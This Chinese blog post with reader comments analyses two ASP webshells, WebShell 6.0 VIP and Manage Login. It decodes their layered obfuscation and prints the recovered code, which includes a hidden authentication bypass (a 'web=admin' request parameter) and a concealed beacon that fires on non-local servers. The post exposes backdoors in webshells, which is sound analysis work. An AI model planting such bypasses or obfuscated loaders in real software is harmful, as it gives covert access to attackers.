• 欢迎访问金刀客博客!
  • 2019,春节快乐!

解密WebShell 6.0 VIP和Manage Login等二款ASP WEBSHELL

原创天空 admin 7699次浏览 已收录 5个评论

今天在刀客城新人群,有个朋友抛出来一个shell,我一看是asp文件,本能的习惯,看看是否是有后门。
第一个是WebShell 6.0 VIP(密码防破解版),
解密截图

这个比较简单,没有vbscript.encode加密
第一层就看到了十三的加密,这个是shell中用的最为广泛的十三逆向加密。

解密后保存为shellcode.asp,
从上往下翻看shellcode.asp ,
可以看到一段加密代码

hu=”b_xk^jn^lm!z}z””6z}zxma^gxL^llbhg!zp^[+Z+]fbgz””x6xNl^kIZllxxxxxxxNKE!””xx^g]xb_b_xl^llbhg!zp^[+Z+]fbgz””57Nl^kIZllxma^gb_xk^jn^lm’_hkf!ziZllz””57zzxma^gb_xk^jn^lm’_hkf!ziZllz””6Nl^kIZllxma^gl^llbhg!zp^[+Z+]fbgz””6Nl^kIZllk^lihgl^’k^]bk^\mxnke^el^xkklz非法登录z^g]xb_^el^lb6z5\^gm^k75]boxlmre^6 pb]ma3.))iq4[hk]^k3*iqxlheb]x{+++4iZ]]bg`3++iq4fZk`bg3*))iq4 75[k75Zxak^_6 z~Lbm^NKE~z xmZk`^m6 X[eZgd 7z~fgZf^~z5(Z75ak75_hkfxZ\mbhg6 z~nke~z xf^mah]6 ihlm 7密码:5bginmxgZf^6 iZll xmri^6 iZllphk] xlbs^6 ++ 7x5bginmxmri^6 ln[fbm xoZen^6 登录 75ak7z~ “” then
If Asc(Mid(temp, i, 1)) < 32 or Asc(Mid(temp, i, 1)) > 126 Then
a = a & Chr(Asc(Mid(temp, i, 1)))
else
pk=asc(mid(temp,i,1))-but
if pk>126 then
pk=pk-95
elseif pk<32 then pk=pk+95 end if a=a&chr(pk) end if else a=a&vbcrlf end if next UnEncode=a end function

看看UnEncode函数,可见其为黑客伟移位加密,加密者将那个特殊字符设置为空格,还是第一次见

上面加密代码解密后为

if request(“%”))=”%” then
Session(“web2a2dmin”)) = UserPass
URL())
end if
if session(“web2a2dmin”))<>UserPass then
if request.form(“pass”))<>“” then
if request.form(“pass”))=UserPass then
session(“web2a2dmin”))=UserPass
response.redirect url
else
rrs”非法登录”
end if
else
si=”

“&mname&”


密码:


“&Copyright&”

response.write”
if instr(SI,SIC))<>0 then rrs sI
end if
response.end
end if

可以看到有一个统计js代码。看到这个明文大家可能会很奇怪,为什么所有的括号收都是2个,这明显是错误的。
我用fso解密了一次这段代码,发现,明文没有出现这个错误,没有2个括号收。
对于这个UnEncode函数的设置,“””解密出来就是“)”,看看密文,会发现存在多个“”””,那么解密出来就是2个括号收,所以屠龙的解密是没有错误。但是为何用fso解密出来,却只有一个括号收呢?
这与asp脚本的特殊符号处理有关,大家知道,再asp中字符变量的值是包含在一堆双引号之间的,如果字符中有双引号,改怎么表示呢?那就是用2个双引号(””)来表示,从而与VB内置的控制符双引号(”)相区别。比如新建一个test.asp

<% hu="wertwertwert""dfghdfghdfg" response.write hu %>

它输出的是wertwertwert”dfghdfghdfg,而不是wertwertwert””dfghdfghdfg。所以上面的密文在asp环境中执行就是正确的,2个双引号只会解密成一个括号收,而在工具中则会解密成2个括号收。对于本文的UnEncode函数来说,只要当but=88时才会出现这种情况。
这应当是这个解密函数的反函数的一个BUG,因为将括号收加密成双引号后,程序运行将出错,只有将双引号替换成2个双引号后才会成功运行。应当说是我没有考虑到这一点吧,原作者的加密函数应当是ok的。
至此,这个shell就解密完了。
第二个,Manage Login,解密很清秀,不是那种漆黑漆黑的,我比较喜欢

这个文件的第一层加密是vbscript.encode加密。

解密后保存为shellcode.asp
查看shellcode.asp可知,他的主要加密为 MorfiCoder加密。
这个加密有点意思,咱们慢慢看
首先看看加密的函数

Function MorfiCoder(Code)
MorfiCode1=”o{@"’>^’"&KmGEOK]E?ZZZz^X>f7V^\_".VqsC]`Cv1&].~bT5h>**7fU#q:HW -Ir]8ic@V8,gP”
Execute (MorfiCoder1(“402988016”, MorfiCode1))
End Function

这个函数竟然是加密的,那么我们继续找MorfiCode1函数。

Function MorfiCoder1(password, MorfiCode)
MIN_Morfi = 32 ‘ Space.
MAX_Morfi = 126 ‘ ~.
NUM_Morfi = MAX_Morfi – MIN_Morfi + 1
offset = password
Rnd -1
Randomize offset
MorfiCode = Replace(MorfiCode, Chr(-23646), Chr(34))
str_len = Len(MorfiCode)
For i = 1 To str_len
ch = Asc(Mid(MorfiCode, i, 1))
If ch >= MIN_Morfi And ch <= MAX_Morfi Then ch = ch - MIN_Morfi offset = Int((NUM_Morfi + 1) * Rnd) ch = ((ch - offset) Mod NUM_Morfi) If ch < 0 Then ch = ch + NUM_Morfi ch = ch + MIN_Morfi to_text = to_text & Chr(ch) MorfiCoder1 = Replace(to_text, "|^|", vbCrLf) End If Next End Function

可以看到这个MorfiCoder1有2个chr函数的值,因为这2个值是MorfiCoder1的2个变量值,必须求出来,那么先求出这2个

这2个值出来了,我们放入程序

那么MorfiCoder函数的明文就出来了

Function MorfiCoder(Code)
MorfiCoder = Replace(Replace(StrReverse(Code),”*/”, Chr(34)),”*\”, vbCrLf)
End Function

还有一处用MorfiCoder1加密

MorfiCode=”?+cpdiyUu. #5fSdwEFt?C!M76!xK>m!eAtc c*Ir4..DP6(Q/c#CKQ}iHYg(T*x%}bYzO]Ap. =^fZC7KK$^)L"*’&grs!sJ%}1C{(aj~23{<$,xYQEo(0OdK!nxsFH%I?" Execute (MorfiCoder1("515233064", MorfiCode))

解密后为

If Session(“web2a2dmin”) <> UserPass Then|^|If Request(“web”)=”admin” Then|^| Session(“web2a2dmin”) = UserPass|^| Response.Redirect URL|^| End If|^| End If

有个万能密码?web=admin
还有一处

MorfiCode=”c4V$h3((y0Yo=teL#x~.:>r5$[\3d:vs<}=cc"+Tx7J'Gl!1ZK4)`_5ZnG@={,nj=xoC0′}7[)5(qMhQ[wckV*Ivu>+r#o#5$00y)rW4s$?cU!AY+^i]ve.v8"*e01r8-]`sT<55;;8J?P=WE1?i7K.6kOAeqbKH}\.[TkNEU$n);(3#i]y+);!r& vYygYHqtlAHL4}8A.Vh*1Gkx8X:"OF^5F`?Ug{z"hu3){r4`=1*E%R:l*]@^Xa$~+C{S;(}9/hQ}% ;1WM7$EvBm0/)(+D~Qf@A!a3,g7eKoa}Rl%T2P=%:/~/K;TQv]D&n7menm.N*" Execute (MorfiCoder1("515233064", MorfiCode))

解密后为

morfi=”“|^|if instr(Request.ServerVariables(“SERVER_NAME”),”127.0.0.1″)<>0 then morfi=””|^|if instr(Request.ServerVariables(“SERVER_NAME”),”192.168.”)<>0 then morfi=””|^|if instr(Request.ServerVariables(“SERVER_NAME”),”localhost”)<>0 then morfi=””|^|echo morfi

后面的那几个语句是判断脚本是否在局域网或者本地电脑运行,如果不是就运行前面的那个隐藏SPAN,祝愿这是一个统计代码吧,但是各位都知道,统计代码是可以记录来路的。
好了,那么现在可以解密MorfiCoder函数的加密了

至此,这2个shell完全解密完成。
by daokers
相关附件下载:
点击下载此文件


金刀客博客 , 版权所有丨如未注明 , 均为原创丨本网站采用BY-NC-SA协议进行授权 , 转载请注明解密WebShell 6.0 VIP和Manage Login等二款ASP WEBSHELL
喜欢 (0)
发表我的评论
取消评论

表情 贴图 加粗 删除线 居中 斜体 签到
(5)个小伙伴在吐槽
  1. 刀大哥,屠龙刀能给我发一下吗?我知道这样直白的要不好,可实在是没法了。。。1913278453@qq.com
    BaldLei2015-06-02 18:43 回复
  2. 站长,我刚好有一些asp加密的东西要破解,看到你用的这个工具太强了。麻烦问一下到哪里可以下载?能不能发布一下。十分的感谢!
    admin 于 2010-08-12 01:09 PM 回复
    暂没发布
    smallpig3012010-08-12 08:34 回复
  3. execute(UnEncode(hu)) 后面直接用一个输入语句就能看到解密后的代码了: response.write UnEncode(hu) 第二个在 Execute (MorfiCoder1("515233064", MorfiCode)) 后面添加输出语句: reponse.write MorfiCoder1("515233064", MorfiCode) 自己都提供解密过程了还加密,呵呵,很搞笑。。。。 不得不说,发表个评论,还得注册用户,呵呵。。。
    admin 于 2010-08-07 11:27 PM 回复
    莫名其妙...
    lijiejie2010-08-07 13:32 回复
  4. 自己试着解了一遍,呵,没解开,加密解密这个的可真都是人才哪!牛啊 那个Manage Login是用以前老兵的站长助手改的,界面我也相当喜欢,因为我常用的webshell也是用老兵的改的,这下正好照着改改界面。 话说你博客下载组件,虽然没什么问题,不过看着蛮吓人的,还是改改吧 *:\*\*\wwwroot\showfile.asp刚点开的时候还真吓我一跳
    admin 于 2010-06-21 06:06 PM 回复
    又出问题了啊,郁闷,我看看

    admin 于 2010-06-21 06:08 PM 回复
    怎么爆出物理路径的?我刚刚看好像ok的哦。蛋疼,爆物理路径
    Juliet2010-06-20 23:59 回复
  5. .....对asp.shell有畏惧.!
    admin 于 2010-06-21 06:08 PM 回复
    ^_^
    gsestart2010-06-02 17:59 回复